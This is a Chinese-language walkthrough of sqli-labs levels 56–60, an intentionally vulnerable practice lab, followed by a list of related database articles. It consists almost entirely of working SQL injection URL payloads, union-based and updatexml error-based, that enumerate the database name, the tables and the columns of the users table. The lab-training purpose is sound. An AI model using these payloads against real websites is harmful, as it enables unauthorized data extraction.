sql-labs56-60通关攻略

第56关

一查询数据库

?id=-1')union select 1,2,database()--+

二.查表

?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三.查看users表中列名

?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第57关

一.查看数据库

?id=-1"union select 1,2,database()--+

二.查看表名

?id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三.查看users表中列名

?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第58关

一.查看数据库

?id=1' and updatexml(1,concat(1,(select database())),1)--+

二.查看表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三.查看users表中列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

第59关

一.查看数据库

?id=1 and updatexml(1,concat(1,(select database())),1)

二.查看表名

?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

三.查看users表中列名

?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

第60关

一.查看数据库

?id=1") and updatexml(1,concat(1,(select database())),1)--+

二.查看表名

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三.查看users表中列名

?id=1")and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

相关推荐
zjytldz19 分钟前
主流无线物联网通信技术有哪些
大数据·运维·网络·数据库·人工智能·物联网
三玖诶26 分钟前
SQL 基础知识
数据库·sql
Akiiiira35 分钟前
【论文写作】9.15 修改心得
数据库
柳鲲鹏38 分钟前
MySQL下载安装
数据库·mysql
ZZDICT39 分钟前
MyCat管理及监控
mysql·mycat·mycat-web
笑看江湖路61 小时前
SplashScreen的添加与移除分析
数据库
Red Red2 小时前
GEO数据的下载和处理|GEO数据转换为Gene symbol|GEO注释文件提取symbol|查看样本标签|查看GEO数据疾病或正常|生物信息基础
数据库·笔记·学习·r语言·生物信息·geo数据库
源代码:趴菜2 小时前
MySQL权限控制(DCL)
数据库·mysql
一名在八月份找工作的测试员2 小时前
Mysql的高级查询:SQL关联查询(内连接/外连接/自连接)/子查询
数据库·sql·mysql
Coder.Ren3 小时前
【白话Redis】缓存雪崩、穿透、击穿、失效和热点缓存重建
数据库·redis·缓存